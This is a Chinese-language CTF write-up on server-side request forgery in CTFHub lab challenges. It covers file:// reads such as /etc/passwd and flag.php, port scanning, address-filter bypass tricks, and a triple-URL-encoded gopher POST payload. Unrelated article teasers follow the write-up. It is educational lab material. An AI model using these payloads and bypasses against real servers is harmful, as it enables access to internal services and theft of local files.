CTFHUB技能樹——SSRF(一)

目錄

一、SSRF(服務器端請求偽造)

漏洞產生原理:

漏洞一般存在于

產生SSRF漏洞的函數(PHP):

發現SSRF漏洞時:

SSRF危害:

SSRF漏洞利用手段:

SSRF繞過方法:

二、CTFHUB技能樹 SSRF

1.Http、file和Dict等協議的利用

內網訪問?

偽協議讀取文件

?編輯端口掃描

?編輯2.Gopher協議的利用

?POST請求


一、SSRF(服務器端請求偽造)

漏洞產生原理:

大多是由于服務端提供了從其他服務器應用獲取數據的功能,但又沒有對目標地址做嚴格過濾與限制,導致攻擊者可以傳入任意的地址來讓后端服務器對其發起請求,并返回對該目標地址請求的數據。

漏洞一般存在于

(1)分享鏈接
(2)轉碼服務
(3)在線翻譯
(4)圖片、文章收藏功能
(5)未公開的API實現以及其他調用URL的功能
(6)圖片加載與下載
(7)從URL關鍵字中尋找(share、wap、url、link、src、source、target、u、display、sourceURl、imageURL、domain)

產生SSRF漏洞的函數(PHP):

(1)file_get_contents()
(2)sockopen()
(3)curl_exec()

發現SSRF漏洞時:

首先要測試所有可用的URL偽協議
file:// 從文件系統中獲取文件內容,如,file:///etc/passwd
dict:// 字典服務器協議,訪問字典資源,如,dict:///ip:6739/info:
sftp:// SSH文件傳輸協議或安全文件傳輸協議
ldap:// 輕量級目錄訪問協議
tftp:// 簡單文件傳輸協議
gopher:// 分布式文檔傳遞服務,可使用gopherus生成payload

SSRF危害:

SSRF漏洞利用手段:

(1)可以對外網、內網、本地進行端口掃描,某些情況下端口的Banner會回顯出來(比如3306的);
(2)攻擊運行在內網或本地的有漏洞程序(比如溢出);
(3)可以對內網Web應用進行指紋識別,原理是通過請求默認的文件得到特定的指紋;
(4)攻擊內網或外網有漏洞的Web應用;
(5)使用file:///協議讀取本地文件(或其他協議)

SSRF繞過方法:

(1)@????????? http://abc.com@127.0.0.1
(2)添加端口號????? http://127.0.0.1:8080
(3)短地址??????? https://0x9.me/cuGfD
(4)可以指向任意ip的域名? xip.io
(5)ip地址轉換成進制來訪問 192.168.0.1=3232235521(十進制)
(6)非HTTP協議
(7)DNS Rebinding

理論轉自:Web 常見十大漏洞原理及利用方式_web漏洞利用實操-CSDN博客

二、CTFHUB技能樹 SSRF

1.Http、file和Dict等協議的利用

內網訪問?

題目描述:嘗試訪問位于127.0.0.1的flag.php吧

從目標主機內網環境訪問它本地的flag.php,構建url:

/?url=http://127.0.0.1/flag.php

偽協議讀取文件

題目描述:嘗試去讀取一下Web目錄下的flag.php吧

?無法直接訪問

使用file:///協議 訪問本地文件系統

構建payload:

file:/// [文件的絕對路徑和文件名]?url=file:///var/www/html/flag.php

端口掃描

題目描述:來來來性感CTFHub在線掃端口,據說端口范圍是8000-9000哦,

知道端口號范圍,使用bp爆破? 將8000設為變量

變量類型number、范圍8000~9000

?

?8218端口 ,respond得flag

2.Gopher協議的利用

學習參考:CTFHub技能樹筆記之SSRF:POST請求、文件上傳_ctfhub ssrf post-CSDN博客

gopher協議是ssrf利用中最強大的協議

gopher協議支持發出GET、POST請求:

可以先截獲get請求包和post請求包,再構成符合gopher協議的請求。

默認端口為70,一般需發送到80端口

如果發起post請求,回車換行需要使用%0D%0A,如果多個參數,參數之間的&也需要進行URL編碼。

gopher使用結構:

gopher://127.0.0.1:80/_{TCP/IP數據流}_不能省

?POST請求

題目描述:這次是發一個HTTP POST請求.對了.ssrf是用php的curl實現的.并且會跟蹤302跳轉.

使用dirsearch掃描一下

python dirsearch.py -u http://challenge-0981474f125e7046.sandbox.ctfhub.com:10800/?url=127.0.0.1/

狀態碼為200的只有flag.php

訪問127.0.0.1/flag.php,出現一個輸入框

查看源代碼有一個key值

將key輸入輸入框

嘗試file///協議分別讀取index.php 和flag.php的頁面源碼

?url=file:///var/www/html/index.php
?url=file:///var/www/html/flag.php

POST傳參了key

$_SERVER['SERVER_ADDR ' ]:當前運行腳本所在的服務器(非本地)的 IP 地址。 ?

所以在flag.php傳入key值返回flag,index.php可以利用curl傳url

故用gopher協議在index.php中構造post請求包往flag.php傳key值,從而獲得flag

構造 Gopher協議所需的 POST請求:

POST包必須包含的四個參數:Content-Type、Content-Length(key的長度)、host,、post

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36key=687e7be15804b88bc8014fa4008ccb3c

利用ssrf時常需要進行多次url編碼,執行curl功能后會被解碼一次,利用?url=gopher://形式進行ssrf請求又會被解碼一次,如果有302跳轉 也會被解碼一次。

(可以說傳參+跳轉,請求多少次就要編碼多少次)

所以對構造的請求包進行三次 URL編碼:

第一次編碼后,將%0A全部替換為%0D%0A

因為 Gopher協議包含的請求數據包中,可能包含有=&等特殊字符,避免與服務器解析傳入的參數鍵值對混淆,所以對數據包進行 URL編碼,這樣服務端會把%后的字節當做普通字節。

第一次url編碼:
POST%20/flag.php%20HTTP/1.1%0AHost%3A%20127.0.0.1%3A80%0AContent-Type%3A%20application/x-www-form-urlencoded%0AContent-Length%3A%2036%0A%0Akey%3D687e7be15804b88bc8014fa4008ccb3c
替換:
POST%20/flag.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2036%0D%0A%0D%0Akey%3D687e7be15804b88bc8014fa4008ccb3c
第二次url編碼:
POST%2520/flag.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252036%250D%250A%250D%250Akey%253D687e7be15804b88bc8014fa4008ccb3c
如果有302跳轉,還需第三次編碼:
POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application/x-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D687e7be15804b88bc8014fa4008ccb3c

因為flag.php中的$_SERVER["REMOTE_ADDR"]無法繞過,于是在index.php中發送 POST請求

最終payload如下,使用bp傳入POST請求得flag。

?url=http://127.0.0.1:80/index.php?url=gopher://127.0.0.1:80/_POST%252520/flag.php%252520HTTP/1.1%25250D%25250AHost%25253A%252520127.0.0.1%25253A80%25250D%25250AContent-Type%25253A%252520application/x-www-form-urlencoded%25250D%25250AContent-Length%25253A%25252036%25250D%25250A%25250D%25250Akey%25253D687e7be15804b88bc8014fa4008ccb3c

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/bicheng/17735.shtml
繁體地址,請注明出處:http://hk.pswp.cn/bicheng/17735.shtml
英文地址,請注明出處:http://en.pswp.cn/bicheng/17735.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

結構體的偏移地址,首地址的宏計算

C語言的庫函數中提供了計算結構體的一個元素在結構體中的偏移量,以及通過偏移量和結構體中元素的指針計算出來結構體的首地址。但是在一些場景沒有辦法使用C語言庫中的函數,那么就需要自己進行定義。 如下面代碼所示的兩個宏定義就完成了計算結構體成員偏…

如何解決elment ui必填驗證輸入空格通過校驗?

很久之前有個客戶定制了一個ERP系統,里面有個單位的必填項,是沒有任何規律的字符串,也就是只需要做必填即可,結果前段時間維護該信息的換了一個人,必填的單位居然是空白,因為數據缺失的原因導致后面一系列的工作流一個都提交不了,該員工意識到自己闖禍后直接跑路,聯系不…

SQL生成序列淺析

01.sqlserver版本 使用sqlserver將數據復制n條 selectt.indx,t.name,tmp.vlue from (values(1,蘋果) ) as t(indx, name) ,(select[number] as vluefrom master.dbo.spt_valueswhere [type] pand [number] between 1 and 10 ) as tmpspt_values是什么 spt_values是SQL Se…

oracle 12c GI卸載流程

集群節點停止服務 [crsctl stop crs -f grid運行deinstall [rootprimary1 bin]# su - grid [gridprimary1 ~]$ cd $ORACLE_HOME/deinstall [gridprimary1 deinstall]$ ls bootstrap_files.lst bootstrap.pl deinstall deinstall.pl deinstall.xml jlib readme.txt …

多張圖片上傳、圖片回顯、url路徑轉成File文件

1. 實現 背景&#xff1a;在表單中使用element-plus實現多張圖片上傳(限制最多10張)&#xff0c;因為還要與其他參數一起上傳&#xff0c;所以使用formData格式。 編輯表單回顯時得到的是圖片路徑數組&#xff0c;上傳的格式是File&#xff0c;所以要進行一次轉換。 <tem…

超頻是什么意思?超頻的好處和壞處

你是否曾經聽說過超頻&#xff1f;在電腦愛好者的圈子里&#xff0c;這個詞似乎非常熟悉&#xff0c;但對很多普通用戶來說&#xff0c;它可能還是一個神秘而陌生的存在。 電腦超頻是什么意思 電腦超頻&#xff08;Overclocking&#xff09;&#xff0c;顧名思義&#xff0c;是…

PCIe (1)

計算PCIe的吞吐 PCIe吞吐依賴以下因素 >protocol overhead >payload size >completion latency >flow control update latency >characteristics of the devices that form the link Protocol Overhead 如果是8B/10B的編碼,那么需要25%的開銷。 對于Gen…

前端面試題大合集7----模塊化/工程化/ES6+標準

一、簡述webpack的核心原理 &#xff08;1&#xff09;一切皆模塊 正如JS文件可以是一個“模塊”一樣&#xff0c;其它的文件也可視作模塊。因此可以執行require(myJsFile.js)&#xff0c;亦可執行require(myCssFile.css)&#xff0c;這意味著我們可以將事物分割成更小的、易…

堆排序和Topk問題

堆排序 堆排序即利用堆的思想來進行排序&#xff0c; 總共分為兩個步驟&#xff1a; 1. 建堆 升序&#xff1a;建大堆&#xff1b; 降序&#xff1a;建小堆 2 .利用堆刪除思想來進行排序 利用堆刪除思想來進行排序 建堆和堆刪除中都用到了向下調整&#xff0c;因此掌握了…

外賣系統關于redis使用解決高并發情況

1、如何配置redis 在java中操作redis 操作步驟&#xff1a; 1、導入Spring Data Redis的maven坐標 2、配置Redis數據源 3、編寫配置類&#xff0c;創建RedisTemplate對象 4、通過RedisTemplate對象操作Redis 2、Redis結合Lua腳本 減少網絡開銷&#xff1a;使用Lua腳本&#xf…

FolkMQ v1.5.1 發布(“新式”國產消息中間件)

FolkMQ 是個“新式”的消息中間件。強調&#xff1a;“小而巧”、“簡而強”。 功能簡表 角色功能生產者&#xff08;客戶端&#xff09;發布普通消息、Qos0消息、定時消息、順序消息、可過期消息、事務消息、廣播消息消費者&#xff08;客戶端&#xff09;訂閱、取消訂閱。消…

前端面試題日常練-day27 【面試題】

題目 希望這些選擇題能夠幫助您進行前端面試的準備&#xff0c;答案在文末。 1. 在Vue中&#xff0c;以下哪個選項可以用于監聽數據的變化并執行相應的操作&#xff1f; a) computed b) methods c) data d) watch 2. 在Vue中&#xff0c;以下哪種方式可以實現組件之間的通信…

中醫理療元宇宙 科技賦能中醫藥產業走向國際市場

基于380億參數量&#xff0c;對中醫藥海量文本進行數據訓練&#xff0c;實現方劑優化、機制闡釋和新適應癥的精準發現……日前在天津召開的數智賦能大健康產業新質生產力暨第四屆中醫藥國際發展大會上&#xff0c;由天士力醫藥集團與華為云共同開發的“數智本草”中醫藥大模型正…

37. 解數獨 - 力扣(LeetCode)

基礎知識要求&#xff1a; Java&#xff1a; 方法、for循環、if else語句、數組 Python&#xff1a; 方法、for循環、if else語句、列表 題目&#xff1a; 編寫一個程序&#xff0c;通過填充空格來解決數獨問題。 數獨的解法需 遵循如下規則&#xff1a; 數字 1-9 在每一行…

Windows搭建Nginx代理本地盤的文件(共享路徑或本地路徑)

文章目錄 Windows搭建Nginx代理本地盤的文件 - 前言需求背景掛載網絡共享路徑檢查連接狀態下載Nginx編輯 Nginx 配置文件啟動 Nginx檢測Nginx是否成功啟動使用方法遠程共享路徑示例本地文件示例 測試 Windows搭建Nginx代理本地盤的文件 - 前言 在開發過程中&#xff0c;確保文…

ChatGPT Mac客戶端 下載安裝教程(免費 不限次數使用 還支持語音聊天)

ChatGPT Mac客戶端 下載安裝教程&#xff08;免費 不限次數使用 還支持語音聊天&#xff09; 原文鏈接&#xff1a;https://blog.csdn.net/weixin_48311847/article/details/139248625 免費 不限次數使用 還支持語音聊天

mysql 排序、查詢執行流程、幻讀

文章目錄 MySQL的 ORDER BY 執行流程示例表和查詢語句執行流程全字段排序Rowid 排序全字段排序 VS rowid排序聯合索引優化覆蓋索引優化 小結思考題問題執行過程中是否需要排序&#xff1f;如何在數據庫端實現不排序&#xff1f;實現分頁需求 使用ORDER BY RAND()內存臨時表與磁…

ANDROID OLLVM 混淆配置

安裝環境 MacOSGITCMAKENDK - 21.1.6352462 步驟 1. 編譯項目 此項目版本較低 https://github.com/obfuscator-llvm/obfuscator &#xff0c;我們使用 https://github.com/heroims/obfuscator 進行編譯 git clone https://github.com/heroims/obfuscator.gitcd obfuscator…

曼城四連冠,劍南春與萬千球迷共同見證“榮耀時刻”

執筆 | 洪大大 編輯 | 揚 靈 5月19日&#xff0c;英超2023-2024賽季第38輪比賽全面開打&#xff0c;憑借隊員的出色發揮&#xff0c;曼城最終以3-1戰勝西漢姆聯&#xff0c;成功捧起了英超聯賽的獎杯&#xff0c;成為英格蘭足球頂級聯賽100多年歷史上第一支成就四連冠的豪門…

事務報錯沒有顯示回滾導致DDL阻塞引發的問題

在業務開發過程中&#xff0c;顯示的開啟事務并且在事務處理過程中對不同的情況進行顯示的COMMIT或ROLLBACK&#xff0c;這是一個完整數據庫事務處理的閉環過程。 這種在應用開發邏輯層面去handle的事務執行的結果&#xff0c;既確保了事務操作的數據完整性&#xff0c;又遵循了…